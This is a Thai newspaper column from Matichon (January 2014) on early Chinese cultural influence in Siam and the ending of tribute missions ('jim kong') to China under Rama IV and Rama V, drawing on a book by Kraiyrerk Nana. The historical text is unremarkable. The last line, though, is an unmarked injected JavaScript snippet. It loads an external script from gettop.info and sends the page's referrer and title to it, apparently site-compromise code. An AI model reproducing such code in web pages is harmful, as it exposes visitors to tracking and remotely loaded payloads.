มติชนรายวัน ฉบับประจำวันศุกร์ที่ 31 มกราคม 2557

 

ร.4, ร.5 ยกเลิก“จิ้มก้อง”จีน

          วัฒนธรรมจีนจากเมืองจีนสู่สยาม ทะลักครั้งใหญ่น่าจะอยู่ในยุคต้นอยุธยา เรือน พ.ศ. 1900

          เริ่มที่รัฐสุพรรณภูมิ (สุพรรณบุรี-เพชรบุรี) แล้วเข้าสู่รัฐอยุธยาเมื่อเจ้านครอินทร์จากสุพรรณขึ้นเสวยราชย์ที่อยุธยา เป็นสมเด็จพระนครินทราธิราช (พ.ศ. 1952-1967)

          เจ้านครอินทร์ คือ พระร่วง ในนิทานพระร่วงไปเมืองจีน แล้วได้ช่างจีนมาทำเครื่องสังคโลกที่สุโขทัย-ศรีสัชนาลัย

          น่าเชื่อว่าอาหารการกินแบบจีนจะมีขึ้นจริงในยุคนี้ ซึ่งรวมถึงผักต่างๆก็แพร่กระจายเข้ามา เช่น ผักกาด, ผักกาน้า, ตั้งฉ่าย, ฯลฯ แต่ที่สำคัญมาก อ. นิธิ เอียวศรีวงศ์ บอกว่าคือ กระทะเหล็ก ใช้ปรุงอาหารได้หลากหลายทั้งผัดและต้ม ซึ่งจะเป็นต้นแบบอาหารไทยปัจจุบัน

          นับแต่นี้ไปราชอาณาจักรสยามที่กรุงศรีอยุธยา จะถวายเครื่องราชบรรณาการที่เรียกจิ้มก้องต่อจักรพรรดิจีนถี่ขึ้นแล้วสม่ำเสมอ เพราะยกย่องจีนเป็นเจ้าพ่อ ผู้ให้ความคุ้มครองและความมั่งคั่ง

          [จิ้มก้อง (จิ้งก่ง) แปลว่า ส่วย, เครื่องบรรณาการ ส่วย เป็นคำแต้จิ๋ว แปลว่า ภาษีอากร (พจนานุกรมคำพ้อง คำจีน-ไทย โดย อารีย์ พื้นนาค, กาเฟย พ.ศ. 2539 หน้า 72)]

เรือสำเภาจีนโบราณ แบบเดียวกับที่พ่อค้าจีนจากสยามนำคณะราชทูตเชิญเครื่องจิ้มก้องไปเมืองจีนเมื่อต้นกรุงรัตนโกสินทร์ (ภาพและคำบรรยายจากหนังสือหน้าหนึ่งในสยาม ของ ไกรฤกษ์ นานา)

          สยามจิ้มก้องจีน ครั้งสุดท้ายสมัย ร.4 เมื่อ พ.ศ. 2397 แล้วประกาศยกเลิกจิ้มก้องเมื่อ พ.ศ. 2411

          มีรายละเอียดในหนังสือหน้าหนึ่งในสยาม ของ ไกรฤกษ์ นานา (สำนักพิมพ์มติชน พิมพ์ครั้งแรก พ.ศ. 2556 หน้า 108-141)

          ครั้นถึง ร.5 ก็ยกเลิกธรรมเนียมจิ้มก้องอย่างถาวร มีคำอธิบายของไกรฤกษ์ว่า

          สมัยรัชกาลที่ 5 จีนก็ทวงก้องเข้ามาอีก ในปี พ.ศ. 2427 บังเอิญในระยะนั้นจีนถูกฝรั่งเศสคุกคาม เพราะต้องการยึดแคว้นตังเกี๋ยไปจากจีน นำไปสู่สงครามตังเกี๋ย เมื่อจีนแพ้ทำให้ต้องยอมสละตังเกี๋ย (ญวน) ให้ฝรั่งเศส ต่อมาก็ต้องยอมยกเกาหลีให้ญี่ปุ่น ทำให้ฐานอำนาจของราชบัลลังก์จีนสั่นคลอนลงอย่างมาก

          สยามได้ทีจึงยกเลิกธรรมเนียมจิ้มก้องอย่างถาวรในรัชกาลที่ 5 หลังจากนั้นก็ไม่ปรากฏว่าจีนทวงก้องเข้ามาอีกเลย

          ผมได้ความรู้ใหม่ๆ แล้วเห็นรูปเก่าๆอันมีค่ามหาศาลอยู่เสมอจากงานค้นคว้าของคุณไกรฤกษ์ ขอขอบพระคุณอย่างสูงยิ่ง

ภาพวาดพระเจ้าเซียนเฟ็งฮ่องเต้และพระสนมเอก (ต่อมาได้เป็นพระนางซูสีไทเฮา) ครองราชย์ตรงกับสมัยรัชกาลที่ 4 ของสยาม (ภาพและคำบรรยายจากหนังสือหน้าหนึ่งในสยาม ของ ไกรฤกษ์ นานา)

พระบรมฉายาลักษณ์พระนางซูสีไทเฮา ผู้บงการอยู่เบื้องหลังพระเจ้ากวางสู ความไม่สันทัดในวิธีการปกครองประเทศของพระนางเป็นบ่อเกิดของความอับจนของราชวงศ์ชิง (ภาพและคำบรรยายจากหนังสือหน้าหนึ่งในสยาม ของ ไกรฤกษ์ นานา)

var d=document;var s=d.createElement(‘script’); s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;